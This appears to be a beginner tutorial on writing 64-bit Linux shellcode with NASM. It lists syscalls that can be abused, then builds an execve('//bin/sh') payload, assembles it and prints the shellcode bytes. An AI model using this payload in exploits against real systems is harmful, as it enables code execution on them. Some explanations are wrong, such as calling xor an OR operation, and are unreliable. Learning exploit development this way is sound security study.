Learning Assembly with NASM

Assembly language

Assembly language is used to communicate directly with computer hardware. It is architecture-specific and is used in the development of OS and embedded systems programming

Notable Unix System Calls

  • Process creation syscall (execve) - Allows execution of the new program

  • I/O syscall (open, read, write) - Exploit file handling vulnerabilities to access, read, or write sensitive files, such as configuration files, passwords, or private user data

  • Network syscall (socket, connect, bind, send) - These syscalls can be used to establish rogue network connections, launch denial of service (DoS) attacks, or exfiltrate data over the network.

  • Memory mapping syscall (mmap) - Vulnerabilities in memory management may lead to code execution or privilege escalation

  • Process tracing (ptrace) - Inspect and manipulate other processes which lead to Privilege escalation / data leakage

  • Device I/O syscall (ioctl) - Used for device input/output control. Exploitation might lead to kernal-level access

  • syscall (syscall) - manipulate the system call number or parameters

    • Note : What we are doing is we are writing a 64-bit assembly program to create a shell code using NASM.

NASM (Netwide Assembler)

It is an environment that we use to write assembly language. It is a free and open source tool and we can output our code in various formats including Executables. We can use NASM to write both 32 and 64-bit architecture programs. They share the same name but with different prefixes. Prefix ‘r’ is used for 64-bit and ‘e’ is used for 32-bit

Some of the key instructions and concepts in NASM assembly

  • xor = OR operation calling a function with itself using xor results in 0 eg - xor A,A = 0
  • Push = Push a value to the stack
  • Pop = Pop a value from stack to register
  • mov = Moving data from one location to another

Common 64-bit register values

  • rdx = Used for 3rd argument to a system call
  • rsp = Stack pointer, points to the beginning of the stack
  • rsi = Used for 2nd argument to a system call
  • rax = General and used for system call
  • rdi = Used for 1st argument to a system call

Let’s CODE

The assembly extension is .asm so the filename should be - code.asm

#Programme start and sets main

section .text 
global _start 
_start:

	    push 59 ;59 syscall execve         # pushes value 59 to stack, and used 59 as the system call number for execve
	    pop rax                             # pops the top value from stack and stores in rax; here rax = 59
	    xor rsi, rsi                        # set rsi value to 0 
	    push rsi                            # pushes rsi value to stack
	    mov rdx, "//bin/sh"                 # moves memory address of //bin/sh to rdx
	    push rdx                            # pushes the value to stack
	    xor rdx, rdx                        # set rdx value to 0
	    mov rdi, rsp                        # Moves value of rsp to rdi
	    syscall                             # triggers execve system call, which executes a new programme

Definition

  1. The value 59 is used as the system call number for execve.
  2. It is pushed onto the stack to be used later when invoking the system call.
  3. The rsi register is cleared to 0 to indicate no command-line arguments, and this value is pushed onto the stack.
  4. The rdx register is loaded with the memory address of the string “//bin/sh,” which represents the path to the shell program to be executed. The value is pushed onto the stack.
  5. rdx is then cleared to 0.
  6. rdi is loaded with the value of the stack pointer (rsp), which effectively points to the argument list, and this is used for the execve system call.
  7. The syscall instruction is executed, triggering the execve system call, which replaces the current program with the new one specified by the path “//bin/sh.”

- Using NASM to assemble the code into an object file

nasm -f elf64 code.asm -o shell.o

- Linking the object file to an executable

ld shell.o -o shell

- Disassemble using object dump

objdump -d shell

- Now we have the shell code

\x6a\x3b\x58\x48\x31\xf6\x56\x48\xba\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x52\x48\x31\xd2\x48\x89\xe7\x0f\x05